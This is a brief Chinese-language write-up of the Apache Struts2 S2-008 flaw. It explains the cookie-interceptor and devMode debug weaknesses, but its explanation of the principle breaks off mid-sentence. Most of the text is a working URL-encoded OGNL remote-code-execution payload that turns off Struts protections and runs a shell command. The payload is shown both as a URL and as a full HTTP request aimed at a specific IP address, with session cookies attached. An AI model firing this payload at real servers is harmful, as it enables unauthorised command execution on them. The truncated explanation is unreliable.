影响版本: 2.1.0 – 2.3.1

S2-008 涉及多个漏洞,Cookie 拦截器错误配置可造成 OGNL 表达式执行,但是由于大多 Web 容器(如 Tomcat)对 Cookie 名称都有字符限制,一些关键字符无法使用使得这个点显得比较鸡肋。另一个比较鸡肋的点就是在 struts2 应用开启 devMode 模式后会有多个调试接口能够直接查看对象信息或直接执行命令,正如 kxlzx 所提这种情况在生产环境中几乎不可能存在,因此就变得很鸡肋的,但我认为也不是绝对的,万一被黑了专门丢了一个开启了 debug 模式的应用到服务器上作为后门也是有可能的。

漏洞原理:为了防止攻击者在参数中调用任意方法,标志xwork.MethodAccessor.denyMethodExecution被设置为true,并且SecurityMemberAccess字段默认allowStaticMethodAccess设置为false。为了防止对上下文变量的访问,在ParameterInterceptorStruts2.2.1.1中应用了改进的

构造id的poc

devmode.action?debug=command&expression=%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3Dfalse%2C%23f%3D%23_memberAccess.getClass().getDeclaredField(%22allowStaticMethodAccess%22)%2C%23f.setAccessible(true)%2C%23f.set(%23_memberAccess%2Ctrue)%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%22id%22).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char[50000]%2C%23c.read(%23d)%2C%23genxor%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22).getWriter()%2C%23genxor.println(%23d)%2C%23genxor.flush()%2C%23genxor.close()
GET /devmode.action?debug=command&expression=%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3Dfalse%2C%23f%3D%23_memberAccess.getClass().getDeclaredField(%22allowStaticMethodAccess%22)%2C%23f.setAccessible(true)%2C%23f.set(%23_memberAccess%2Ctrue)%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%22id%22).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char[50000]%2C%23c.read(%23d)%2C%23genxor%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22).getWriter()%2C%23genxor.println(%23d)%2C%23genxor.flush()%2C%23genxor.close() HTTP/1.1
Host: 188.40.189.134:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: ECS[visit_times]=2; lang=zh-CN; has_js=1; ECS_ID=7ad6d31398e1424ba25ada22c6a75360d8b9de91; i_like_gitea=fb9d9391b26c39d0; zbx_sessionid=9a280be3024b7e5dbb74b5fcd5f62d83; PHPSESSID=071iqkp4k4tierhdosl431ol90; redirect=1
Upgrade-Insecure-Requests: 1

大概就这些

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